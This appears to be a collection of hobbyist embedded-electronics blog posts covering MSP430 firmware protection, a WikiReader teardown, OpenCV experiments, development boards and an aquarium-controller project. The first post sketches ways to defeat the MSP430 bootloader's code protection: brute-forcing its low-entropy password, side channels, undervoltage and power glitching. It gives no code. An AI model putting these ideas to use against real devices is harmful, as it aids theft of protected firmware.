Yann’s Blog

I thought I’d do a small interlude into the embedded hardware and firmware space (which is generally my main area of work) from the normal EVE-Central heavy side of this blog. I have been musing about the code security protections of the MSP430 micro-controller, specifically the Boot Strap Loader (BSL), which remains enabled at all times, even if the JTAG interface is disabled (via a fuse on most MSP430s).

The BSL disallows memory reads and writes until a “password” has been transmitted over the serial interface. The password is actually a copy of the interrupt vectors (32bytes) used by the micro-controller, which limits the entropy available by a significant margin: addresses are all even aligned, reset vector is generally start of flash, many interrupt vectors will be identical, general case has all interrupt vectors located in flash. The only defense against this low-entropy brute force attack is the rate limit of the BSL: some versions of the BSL prevent you from changing from 9600 baud until after the password has been verified. However, on devices with small amounts of flash (say, 8Kib), there are only about 61,000 passwords generally in use, which reduces the search time tremendously.

Some BSL versions are also susceptible to side channel attacks are discussed in this paper:
Practical Attacks against the MSP430 BSL

Texas Instruments has improved code security on the new F5xxx series devices in a drastic way: an invalid password will cause a complete device erase. Note that the flash memory also differs from the previous generation devices by being rated to erase and program as low as 1.8V (where the core voltage normally sits – the 5 series has an integrated LDO).

I can see two possible attack vectors – undervoltage to the entire processor (I have a ‘5438A running as low as 1.5V, however the BSL is not yet tested down here), or “glitching” the processor (in this case, complete power down) if the start bit of the acknowledgement packet is not transmitted within an allowable window. The second scenario can be defended against in the BSL firmware (delay the acknowledge by a large value).

I have not tried either of these attacks on the 5xxx series yet (specifically, the 5438 and 5438A). Generally, there are easier ways to attack processors to capture embedded code, or simply replicate external functionality based on observed behavior (code security is not on most programmers’ minds). If small-memory variants of the 5xxx series become available (to allow the brute-force searching of the keyspace), the flash memory erase issue would have to be overcome.

In the mean time, you can use some chip disassembly techniques from Flylogic.

On another note, I will be announcing a security related, open source hardware project shortly. Its been keeping me distracted from EVE-Central (trade route tool version 2, specifically), Contribtastic, and working on the EVE-Metrics/EVE-Central unified uploader.

So, I got a WikiReader. The first thing I would like to say is that this device is very very hard to open (and yes I did remove the two screws in the battery compartment ). I haven’t attempted a full disassembly yet as I actually like the main functionality, and didn’t want to completely obliterate the case just yet.

Here is the WikiReader, unpacked. I wasn’t expecting a nice box and manual (even the iPhone doesn’t come with that), but was very pleasantly surprised.

Apologizes for the very poor picture quality – these are simply iPhone snaps – I didn’t take the time to break out the 5D.

The two main complaints I have so far are the scrolling of text and the keyboard. The scrolling makes the text largely unreadable – there are some different display techniques here which could improve the display. The keyboard could also take a few cues from Apple, such as the magnified key presses, which would go a long way to improving usability. There are some other bugs in the contents (such as the lack of full UTF-8 support), but those are minor at this point.

Aside from those complaints, this device is actually quite slick. The performance is EXCELLENT. Random takes no more than a second to load the next article, search automatically filters based on your entry very quickly, and the history feature even remembers where you were in an article. The device is light and portable, and the whimsical asymmetric design is a nice touch and not over-done.

But enough with the quick mini review, what technical fun toys are there for you to play with?

Well, the WikiReader has a built in calculator – while powering up the device, hold the center (History) button.

There is also a factory test mode available – while powering up the device, hold either the Search or Random button:

As you likely (can’t) see in the image, the bulk of the functionality is a set of Forth applications, including the aforementioned calculator. They’re largely there for factory test, but at least one of them lets you draw pretty pictures.

Not drawn using the draw application, but another LCD test app – you don’t want to see my artwork

The WikiReader also contains a thermistor, which appears to be there for maintaining LCD contrast automatically:

Last but not least, there is a Console, which probably is exposed in the hidden programming/debug port available in the battery compartment (peel off the big white rectangular sticker – not the FCC/CE/Regulatory sticker).

I took some time to learn a bit about computer vision, using OpenCV. The end goal here is to produce a Rock Band playing “robot”, using nothing but a specially modified controller (a AT90USB + bunch of FETs) and a computer with a video capture input.

Below is a video of my first attempt at using OpenCV. It applies several filters to isolate the keys on the racetrack approximately 2 frames ahead of the goal position. The primary heuristic right now is a threshold detect filter after all of the isolation steps. If you watch closely, you can see missed or over-pressed keys, especially when the whole racetrack lights up.

Note that the video output has an overlay color square which announces the software has detected a keypress. The actual gameplay is from another YouTube video – there is no closed loop control yet.

This will take some more tuning to iron out differences, possibly preserving some state from frame to frame. Right now color information is not used, but a separate classifier pipeline and some scoring mechanic might produce better results.

I will publish the git repository with the very-alpha implementation soon.

Just added a post over on the (new) StackFoundry Blog, featuring the Magnetovore.

The Magnetovore is an AVR xMEGA based development board which features external SRAM or non-volatile Magneto-resistive RAM (MRAM). Click through one of the above links for more details.

Having quite a bit of fun with this development board. A fairly powerful embedded ARM, running at a core of 400MHz, with the whole system drawing about 2W of power. And yes, before anyone asks, I do have headphones plugged into it listening to streaming audio (hey, you have to test all the features, even if they don’t end up on the final hardware, right?).

I’ve done some polish work and integration of various libraries in Yann’s Eagle library repository.

Get it here..

Noteworthy inclusions:

• NAND and SDRAM footprints
• Merging of various MSP430 footprints into the “texas.lbr” library.
• More crystals, including subminature parts (ABM10)
• Cleanup of the Atmel library
• Some TVS components from Tyco and Vishay are included
• Freescale HCS08 footprints for the QB and QK series

If you’ve noticed my OpenCoral page before, you’ve probably been a little miffed about the lack of progress. I assure you that all good things take time, and this is a case of “taking a step back” and rethinking everything.

OpenCoral was initially designed to be an Open Source Hardware aquarium controller. It has several key components:

• Various modules (such as the TipTop)
• Communications standard – OCNet, based on CAN
• Controller firmware

The problem with OpenCoral was its slightly myopic vision. It was an aquarium controller first, and only. The TipTop module is the epitome of this: great design for a aquarium top off controller (on incredible steroids), but way too specific for level control and IO control. Instead, I am remodeling the OpenCoral concept based upon PLCs (Programmable Logic Controllers), more discrete, simpler, and malleable logic blocks. I’m head deep in the various standards surrounding them (such as the venerable IEC 61131), and from some real world experiences utilizing them.

Another issue was the slightly more advanced hardware required by OpenCoral (ARM processors, etc), primarily for OCnet. I am trying to simplify the integration work for the future products, and have settled on a hybrid ModBus RTU and OCnet interface. On the ModBus RTU front, as its such a simple protocol, an average AVR micro-controller suffices. Familiarity in the hobbyist circles is high with the AVR, and tools abundant.

Lastly, the name OpenCoral is of course utilized by a separate Open Source project. Name tweaks are welcome.

Just a small observation for tonight: I am doing a design which fits a bunch of hardware on to a USB key sized formfactor PCB. I’ve already given up on 0603 devices, simply far too big. This image doesn’t even show a third of the parts required! Too bad I can’t put parts on inner layers

Speculations?

Good news everybody!

LLVM, everyone’s favorite next generation compiler architecture, now has a MSP430 backend.

The bad news? It doesn’t really work yet. Its time to dust off my compiler skills and take a prod at it.

More information:

Thread on llvm-devel.